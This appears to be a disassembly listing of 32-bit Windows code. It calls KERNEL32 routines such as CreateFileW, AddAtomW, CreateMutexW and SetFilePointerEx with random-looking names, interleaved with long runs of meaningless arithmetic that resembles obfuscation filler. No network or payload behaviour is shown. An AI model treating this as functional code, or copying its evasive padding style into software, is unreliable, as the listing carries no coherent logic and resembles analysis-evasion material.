mov byte [ebp - 0x4d], dl
movsx eax, byte [ebp - 0x2c7]
mov ecx, dword [0x100b9b24]
movsx edx, byte [ecx]
and eax, edx
mov byte [0x100b7273], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100babc0], eax
push 0x153e
push 0
lea eax, [ebp - 0x4600]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100baca4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bac48], eax
movsx edx, byte [0x100b7efa]
movsx ecx, byte [ebp - 0x2b2]
sar edx, cl
mov byte [ebp - 0x1fc], dl
mov eax, dword [ebp - 0x3b78]
mov ecx, dword [0x100b96f4]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x3cc4]
mov dword [eax], edx
push str.Knnbjaag
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1584], ax
mov ecx, dword [ebp - 0x3c1c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x257]
or edx, eax
mov byte [0x100b726a], dl
mov cx, word [ebp - 0x5e0]
mov word [ebp - 0x1588], cx
mov edx, dword [0x100ba540]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1254]
and eax, ecx
mov word [ebp - 0x8a0], ax
mov edx, dword [0x100ba89c]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp - 0x4120]
mov ecx, dword [ebp - 0x3680]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [0x100b7394], edx
mov eax, dword [0x100ba21c]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x2b0]
shl edx, cl
mov byte [ebp - 0x89], dl
mov eax, dword [ebp - 0x3b90]
mov ecx, dword [eax]
mov dword [ebp - 0x4608], ecx
mov edx, dword [ebp - 0x3e34]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x289]
sar eax, cl
mov byte [0x100b7e22], al
push 2
push 0x100ba308
mov ecx, dword [ebp - 0x9898]
push ecx
mov edx, dword [ebp - 0x989c]
push edx
mov eax, dword [ebp - 0x3eb4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100baca8], eax
mov ecx, dword [ebp - 0x39a8]
movzx edx, word [ecx]
movzx eax, word [0x100ba1d0]
xor edx, eax
mov word [ebp - 0x1324], dx
mov ecx, dword [ebp - 0x3ed8]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x970]
add edx, eax
mov ecx, dword [ebp - 0x4138]
mov word [ecx], dx
lea edx, [ebp - 0x3c]
mov dword [0x100bacac], edx
lea eax, [ebp - 0x1480]
mov dword [ebp - 0x460c], eax
mov ecx, dword [0x100ba7e8]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2ec4]
mov dword [ebp - 0x3654], edx
mov eax, dword [ebp - 0x3cf8]
mov ecx, dword [ebp - 0x4584]
mov edx, dword [eax]
imul edx, dword [ecx]
mov eax, dword [0x100b994c]
mov dword [eax], edx
lea ecx, [ebp - 0x22e]
mov dword [ebp - 0x4610], ecx
movzx edx, word [ebp - 0x1260]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bacb0], ax
movsx eax, word [0x100b7214]
mov ecx, dword [ebp - 0x4068]
movsx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x43b4]
mov word [ecx], ax
mov edx, dword [0x100b955c]
mov al, byte [edx]
mov byte [0x100b824a], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4614], eax
lea ecx, [ebp - 0x6f0]
mov dword [ebp - 0x4618], ecx
movzx edx, word [ebp - 0x14b0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bac34], ax
lea eax, [ebp - 0x45bc]
mov dword [ebp - 0x461c], eax
push 0
push 0x20
push 2
push 0
push 8
push 0x40000000
push str.JlLyWZby5xhIB8kcpCDkdR
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4620], eax
mov ecx, dword [0x100baa20]
mov edx, dword [ebp - 0x2af0]
mov ecx, dword [ecx]
shl edx, cl
mov dword [0x100ba190], edx
mov eax, dword [ebp - 0x3a28]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x1e8]
sar edx, cl
mov eax, dword [ebp - 0x405c]
mov byte [eax], dl
mov dword [ebp - 0x4624], 0x100b71da
lea ecx, [ebp - 0x608]
mov dword [0x100bacb4], ecx
movzx edx, word [0x100b7338]
mov eax, dword [ebp - 0x35fc]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0xa34], dx
mov dword [ebp - 0x4628], 0x100ba14c
movsx edx, byte [ebp - 0x2b0]
movsx eax, byte [ebp - 0x194]
and edx, eax
mov ecx, dword [0x100ba7d4]
mov byte [ecx], dl
movzx edx, byte [0x100b7fd7]
movzx eax, byte [0x100b71d3]
xor edx, eax
mov byte [ebp - 0xf3], dl
push 0
push 0xfc2
push 0x370
push 0x8c
mov ecx, dword [0x100b9b0c]
push ecx
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [0x100bacb8], eax
lea edx, [ebp - 0x3730]
mov dword [ebp - 0x462c], edx
mov ax, word [0x100ba9e8]
mov word [0x100bacbc], ax
mov ecx, dword [ebp - 0x39ac]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3ac0]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0xbd8], dx
mov edx, dword [0x100baae8]
mov eax, dword [edx]
xor eax, dword [ebp - 0x3a7c]
mov dword [ebp - 0x2d08], eax
mov ecx, dword [0x100ba7d4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x22]
add edx, eax
mov byte [0x100b71a2], dl
mov cl, byte [ebp - 0x192]
mov byte [ebp - 0x2d9], cl
mov edx, dword [ebp - 0x4088]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bacc0], eax
movzx eax, word [0x100b98f8]
movzx ecx, word [ebp - 0x1418]
sub eax, ecx
mov edx, dword [ebp - 0x3e54]
mov word [edx], ax
lea eax, [ebp - 0x9bb0]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx ecx, word [ebp - 0x1350]
mov edx, dword [ebp - 0x37fc]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [0x100bac14]
mov word [edx], cx
lea eax, [ebp - 0x2e08]
mov dword [ebp - 0x4630], eax
movsx edx, word [ebp - 0x144c]
mov eax, dword [ebp - 0x4034]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3698]
mov word [ecx], dx
push str.TQrXV4wQ_MKpqyCDC
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x158c], ax
mov edx, dword [0x100baa24]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2ad0]
sar eax, cl
mov dword [0x100b7398], eax
lea ecx, [ebp - 0xdc]
mov dword [ebp - 0x4634], ecx
push 1
lea edx, [ebp - 0x982c]
push edx
mov eax, dword [ebp - 0x9860]
push eax
mov ecx, dword [ebp - 0x9864]
push ecx
mov edx, dword [0x100b9494]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba770], eax
mov dword [0x100bacc4], 0x100b7df7
mov eax, dword [ebp - 0x41bc]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x4524]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x12a0], cx
mov ecx, dword [ebp - 0x3aa0]
mov edx, dword [ebp - 0x44bc]
mov eax, dword [ecx]
imul eax, dword [edx]
mov dword [ebp - 0x2c48], eax
mov ecx, dword [0x100b952c]
mov edx, dword [0x100ba1a0]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [0x100ba4a4]
mov dword [ecx], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bacc8], eax
lea edx, [ebp - 0x9e80]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movsx eax, word [ebp - 0x970]
mov ecx, dword [ebp - 0x39ac]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x12e8], ax
movzx eax, word [0x100bac60]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1590], ax
mov ecx, dword [ebp - 0x4634]
mov dl, byte [ecx]
mov byte [ebp - 0x2da], dl
mov eax, dword [ebp - 0x37c4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x263]
and ecx, edx
mov byte [0x100b71a3], cl
push 0x100baccc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [ebp - 0x29c]
mov ecx, dword [ebp - 0x38d8]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0xa4], al
mov edx, dword [ebp - 0x438c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2b8c]
shl eax, cl
mov dword [ebp - 0x4438], eax
mov ecx, dword [ebp - 0x43ec]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3678]
movzx ecx, word [eax]
or edx, ecx
mov word [0x100b739c], dx
movsx edx, word [0x100b72e0]
mov eax, dword [ebp - 0x3914]
movsx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x453c]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3e7c], eax
push 0x100bacf0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx ecx, word [ebp - 0x1564]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba6a0], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4638], eax
push str.YmgrfC5SZ02_F7K
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba9a4], ax
lea edx, [ebp - 0x2ba4]
mov dword [ebp - 0x463c], edx
lea eax, [ebp - 2]
mov dword [0x100bad08], eax
mov dword [ebp - 0x4640], 0x100b7156
mov eax, dword [ebp - 0x2e00]
cdq
idiv dword [ebp - 0x2cdc]
mov dword [ebp - 0x3bec], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bad0c], eax
movzx ecx, word [0x100b9984]
movzx edx, word [ebp - 0x1290]
add ecx, edx
mov word [0x100b979c], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4644], eax
mov eax, dword [ebp - 0x3774]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x36ac]
movsx eax, word [edx]
and ecx, eax
mov word [ebp - 0x5c4], cx
mov ecx, dword [ebp - 0x3a44]
mov dx, word [ecx]
mov word [ebp - 0x1594], dx
mov dword [0x100bad10], 0x100b7192
mov eax, dword [ebp - 0x3804]
mov ecx, dword [ebp - 0x31e0]
shr eax, cl
mov dword [ebp - 0x306c], eax
lea ecx, [ebp - 0x2b8c]
mov dword [ebp - 0x4648], ecx
push 2
lea edx, [ebp - 0x9814]
push edx
mov eax, dword [0x100ba98c]
push eax
mov ecx, dword [0x100ba988]
push ecx
mov edx, dword [ebp - 0x3784]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bad14], eax
mov eax, dword [ebp - 0x4080]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x38a4]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [0x100ba11c]
mov byte [edx], cl
push 0x100bad18
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x40d4]
movzx ecx, word [eax]
movzx edx, word [0x100ba874]
sub ecx, edx
mov word [ebp - 0x10d4], cx
movsx eax, word [ebp - 0x12e4]
mov ecx, dword [ebp - 0x36d4]
movsx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x45c8]
mov word [edx], ax
mov eax, dword [ebp - 0x447c]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x22]
or ecx, edx
mov byte [0x100b7f46], cl
mov eax, dword [ebp - 0x3f24]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x464c], eax
mov ecx, dword [ebp - 0x4610]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3ca0]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x131], dl
push 0
lea edx, [ebp - 0x9814]
push edx
mov eax, dword [0x100ba154]
push eax
mov ecx, dword [0x100ba150]
push ecx
mov edx, dword [0x100b9d70]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x36e8], eax
push str.OD.XN3NEIQJmYL_iMV6EX
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bad3c], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4650], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bad40], eax
mov eax, dword [ebp - 0x3e40]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x38e4]
mov dword [ebp - 0x2df8], ecx
lea edx, [ebp - 0x3fa0]
mov dword [0x100bad44], edx
movsx eax, byte [ebp - 0x2a7]
imul ecx, eax, 0x45
mov edx, dword [ebp - 0x4178]
mov byte [edx], cl
mov ax, word [ebp - 0xfd4]
mov word [ebp - 0x1598], ax
mov cx, word [0x100ba128]
mov word [0x100bad48], cx
push 0x329f
push 0x1899
push 0x2c12
push 0x1720
mov edx, dword [0x100ba4dc]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3370], eax
movzx eax, byte [ebp - 0x9e]
movzx ecx, byte [0x100b718a]
sar eax, cl
mov byte [ebp - 0x2bc], al
mov ecx, dword [ebp - 0x3ae0]
mov esi, dword [ebp - 0x3494]
mov eax, dword [ecx]
cdq
idiv dword [esi]
mov dword [ebp - 0x2ae0], eax
movzx edx, word [ebp - 0x1184]
mov eax, dword [0x100b9c5c]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [0x100bab68]
mov word [eax], dx
mov ecx, dword [ebp - 0x3938]
mov edx, dword [ecx]
mov dword [ebp - 0x4654], edx
mov eax, dword [0x100b9e78]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x17c]
shl edx, cl
mov byte [ebp - 0xa4], dl
mov eax, dword [ebp - 0x3cd0]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3d80]
movsx eax, word [edx]
add ecx, eax
mov word [0x100b73a0], cx
mov ecx, dword [ebp - 0x3620]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4370]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x1de], dl
lea edx, [ebp - 0x2de8]
mov dword [ebp - 0x4658], edx
movsx eax, byte [0x100b7dfe]
mov ecx, dword [ebp - 0x3824]
movsx edx, byte [ecx]
or eax, edx
mov ecx, dword [0x100b96d0]
mov byte [ecx], al
lea edx, [ebp - 0xb1dc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [ebp - 0x1480]
movzx ecx, word [ebp - 0x13c0]
imul eax, ecx
mov word [ebp - 0x5d4], ax
movzx edx, word [0x100b72dc]
movzx eax, word [ebp - 0x1178]
xor edx, eax
mov word [ebp - 0xc94], dx
movzx ecx, word [0x100b9624]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1154], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bad4c], eax
mov edx, dword [ebp - 0x3fe4]
mov eax, dword [edx]
mov dword [0x100bad50], eax
lea ecx, [ebp - 0xee8]
mov dword [ebp - 0x465c], ecx
mov edx, dword [0x100ba2cc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3904]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x158], al
mov edx, dword [0x100ba888]
add edx, dword [0x100ba778]
mov dword [0x100b7318], edx
movsx eax, byte [ebp - 0x2d5]
mov ecx, dword [ebp - 0x3a90]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3be0]
mov byte [ecx], al
mov dword [ebp - 0x4660], 0x100b99e8
lea edx, [ebp - 0xb200]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0x21b5
push 0x2453
push 0x3b00
push 1
mov eax, dword [0x100ba470]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100bad54], eax
push 1
lea ecx, [ebp - 0x989c]
push ecx
mov edx, dword [ebp - 0x98a0]
push edx
mov eax, dword [ebp - 0x98a4]
push eax
mov ecx, dword [ebp - 0x3460]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bad58], eax
movzx edx, word [0x100bacbc]
mov eax, dword [ebp - 0x3b34]
movzx ecx, word [eax]
sub edx, ecx
mov word [0x100b7260], dx
mov dl, byte [ebp - 0x29a]
mov byte [ebp - 0x2db], dl
mov eax, dword [ebp - 0x4330]
mov ecx, dword [eax]
mov dword [0x100bad5c], ecx
movsx edx, word [ebp - 0x5a0]
mov eax, dword [ebp - 0x38bc]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x365c]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bad40], eax
push 0x2970
push 0x2745
push 0xb0d
push 0x3139
mov edx, dword [0x100ba4e8]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [ebp - 0x3c00], eax
mov al, byte [ebp - 0x15d]
mov byte [ebp - 0x2dc], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bad60], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4664], eax
mov ecx, dword [0x100b724c]
imul ecx, dword [ebp - 0x3fa0]
mov dword [0x100b73a4], ecx
mov edx, dword [0x100b9db8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1464]
xor eax, ecx
mov word [ebp - 0xf60], ax
mov edx, dword [ebp - 0x3f00]
mov eax, dword [ebp - 0x43d0]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x2bd8], ecx
movsx edx, word [0x100b7240]
mov eax, dword [0x100ba84c]
movsx ecx, word [eax]
sar edx, cl
mov word [0x100baa10], dx
mov ecx, dword [ebp - 0x3a4c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x36b8]
mov dword [ebp - 0x2d7c], edx
movzx eax, byte [0x100b7272]
mov ecx, dword [ebp - 0x45a4]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x273], al
movsx eax, byte [0x100b7157]
movsx ecx, byte [ebp - 0x1c9]
xor eax, ecx
mov byte [0x100b7286], al
lea edx, [ebp - 0x2b8]
mov dword [ebp - 0x4668], edx
mov eax, dword [ebp - 0x3a14]
mov edx, dword [eax]
mov ecx, dword [0x100ba888]
shl edx, cl
mov dword [ebp - 0x3d7c], edx
movzx eax, byte [ebp - 0x14]
movzx ecx, byte [ebp - 0x284]
add eax, ecx
mov edx, dword [0x100ba8a0]
mov byte [edx], al
movsx eax, word [0x100b7360]
mov ecx, dword [ebp - 0x3450]
movsx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x52c], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b96d8], eax
mov edx, dword [ebp - 0x36e4]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x11a0]
or eax, ecx
mov word [ebp - 0x13f0], ax
mov edx, dword [ebp - 0x3e74]
mov eax, dword [0x100b7350]
and eax, dword [edx]
mov ecx, dword [0x100b9cc0]
mov dword [ecx], eax
mov dl, byte [ebp - 0x285]
mov byte [ebp - 0x2dd], dl
mov eax, dword [ebp - 0x43d0]
mov ecx, dword [eax]
imul ecx, dword [0x100b97a0]
mov dword [ebp - 0x3fb4], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3cec], eax
mov edx, dword [ebp - 0x45a4]
mov al, byte [edx]
mov byte [0x100b824b], al
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push str.9lVzhI9GBjpmLvwqGa5UC
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x466c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bad64], eax
mov cx, word [ebp - 0xd10]
mov word [ebp - 0x159c], cx
mov edx, dword [ebp - 0x3cd0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1214]
xor eax, ecx
mov word [ebp - 0xb00], ax
push str.VDmmpa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x13bc], ax
mov edx, dword [0x100b9b24]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x43f4]
movsx edx, byte [ecx]
sub eax, edx
mov byte [0x100b7287], al
mov eax, dword [ebp - 0x44cc]
movzx edx, word [eax]
mov eax, dword [ebp - 0x4134]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x14b4], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bad68], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4670], eax
lea ecx, [ebp - 0x2d14]
mov dword [ebp - 0x4674], ecx
mov edx, dword [ebp - 0x3a8c]
mov eax, dword [edx]
add eax, dword [ebp - 0x40c4]
mov ecx, dword [0x100b9e58]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba6f4], eax
mov edx, dword [ebp - 0x4434]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4354]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x3940]
mov byte [edx], al
movsx eax, word [0x100b7360]
mov ecx, dword [ebp - 0x451c]
movsx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x362c]
mov word [ecx], ax
movzx edx, word [0x100ba890]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x15a0], ax
push 0
push 2
push 5
push 0
push 4
push 0x80000000
push str.HILKPLq1FJwhdwAhqkIo
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bad6c], eax
movsx eax, byte [ebp - 0x261]
movsx ecx, byte [0x100b7226]
or eax, ecx
mov byte [0x100b7193], al
mov dword [ebp - 0x4678], 0x100ba3f4
lea edx, [ebp - 0x3f4c]
mov dword [ebp - 0x467c], edx
mov eax, dword [ebp - 0x41fc]
mov ecx, dword [eax]
mov dword [0x100bad70], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x35a4], eax
mov edx, dword [ebp - 0x45ec]
movzx eax, byte [edx]
mov ecx, dword [0x100babcc]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x26b], al
push 0x1714
mov eax, dword [0x100bab3c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x39dc], eax
mov ecx, dword [ebp - 0x3f18]
movsx edx, byte [ecx]
mov eax, dword [0x100b959c]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x4668]
mov byte [eax], dl
push 0x100bad74
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0xb8c]
mov dword [0x100bad98], ecx
mov dx, word [ebp - 0x121c]
mov word [ebp - 0x15a4], dx
mov eax, dword [ebp - 0x3794]
mov ecx, dword [ebp - 0x4074]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x2aac], edx
movsx eax, byte [ebp - 0x2c2]
mov ecx, dword [ebp - 0x3dd4]
movsx edx, byte [ecx]
and eax, edx
mov byte [0x100b7ec6], al
mov eax, dword [0x100bac70]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x3f64]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x2c3], dl
mov dword [ebp - 0x4680], 0x100b7290
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4684], eax
mov ecx, dword [ebp - 0x44cc]
movzx edx, word [ecx]
mov eax, dword [0x100baa5c]
movzx ecx, word [eax]
imul edx, ecx
mov eax, dword [0x100bac58]
mov word [eax], dx
movsx ecx, word [ebp - 0xa80]
movsx edx, word [ebp - 0x1250]
xor ecx, edx
mov eax, dword [ebp - 0x391c]
mov word [eax], cx
push 2
push 0x100ba860
mov ecx, dword [ebp - 0x98a8]
push ecx
mov edx, dword [ebp - 0x98ac]
push edx
mov eax, dword [ebp - 0x3de0]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba35c], eax
mov ecx, dword [0x100b98e0]
mov esi, dword [ebp - 0x3fd8]
mov eax, dword [ecx]
cdq
idiv dword [esi]
mov dword [ebp - 0x3c7c], eax
movsx edx, byte [0x100b80bf]
movsx eax, byte [ebp - 0x8b]
add edx, eax
mov byte [0x100b728e], dl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bad9c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x414c], eax
lea ecx, [ebp - 0x9e98]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, dword [ebp - 0x33f4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x4c]
or eax, ecx
mov byte [ebp - 0x63], al
movzx edx, word [0x100b728c]
mov eax, dword [ebp - 0x3b6c]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x4560]
mov word [eax], dx
push 0x100bad18
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 4
push 3
push 0
push 1
push 0x40000000
push str.yyauxqqZneS_bQJMIPuV4n8cHx4
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4688], eax
push str.LjMJzBOb_KC.IyjY
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bada0], ax
movzx ecx, word [ebp - 0xc94]
mov edx, dword [0x100ba530]
movzx eax, word [edx]
imul ecx, eax
mov edx, dword [0x100b9b64]
mov word [edx], cx
push 0xdd2
push 0
lea eax, [ebp - 0x41f0]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100b9994], eax
push str.lASIyQu2bVT_WpWftlJl
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bada4], ax
mov ecx, dword [ebp - 0x4220]
mov edx, dword [ecx]
mov dword [ebp - 0x468c], edx
mov dword [ebp - 0x4690], 0x100ba3e8
lea eax, [ebp - 0x9eb0]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba3fc], eax
lea ecx, [ebp - 0x3f10]
mov dword [0x100bada8], ecx
mov edx, dword [ebp - 0x3544]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [ebp - 0x3b10]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x3db0]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0xc1], cl
push str.Hbi8eFi_g5Dp
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100badac], ax
mov ecx, dword [ebp - 0x40e8]
mov dl, byte [ecx]
mov byte [0x100b8266], dl
push 0x169
push 0
lea eax, [ebp - 0x4110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x4694], eax
movzx edx, word [ebp - 0xc48]
mov eax, dword [ebp - 0x4298]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x4164]
mov word [ecx], dx
mov edx, dword [ebp - 0x40fc]
mov eax, dword [0x100ba9bc]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x2c6c], edx
mov eax, dword [0x100babb4]
mov ecx, dword [ebp - 0x3268]
xor ecx, dword [eax]
mov edx, dword [0x100ba7fc]
mov dword [edx], ecx
mov eax, dword [0x100b99b4]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x3fc4], eax
movsx ecx, word [0x100ba180]
movsx edx, word [ebp - 0x730]
add ecx, edx
mov eax, dword [ebp - 0x3bf4]
mov word [eax], cx
mov ecx, dword [0x100ba114]
mov dl, byte [ecx]
mov byte [ebp - 0x2de], dl
mov al, byte [ebp - 0x2d8]
mov byte [0x100b8267], al
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x4698], ecx
mov edx, dword [ebp - 0x3800]
mov eax, dword [ebp - 0x2af8]
and eax, dword [edx]
mov ecx, dword [ebp - 0x3e68]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3eb8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x6d0]
imul eax, ecx
mov edx, dword [0x100b9bb8]
mov word [edx], ax
mov eax, dword [0x100bac9c]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x37a0]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x451c]
mov word [edx], cx
push str.IyYs_8JfIrg_fplZaUj
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100badb0], ax
lea eax, [ebp - 0xb224]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9f74], eax
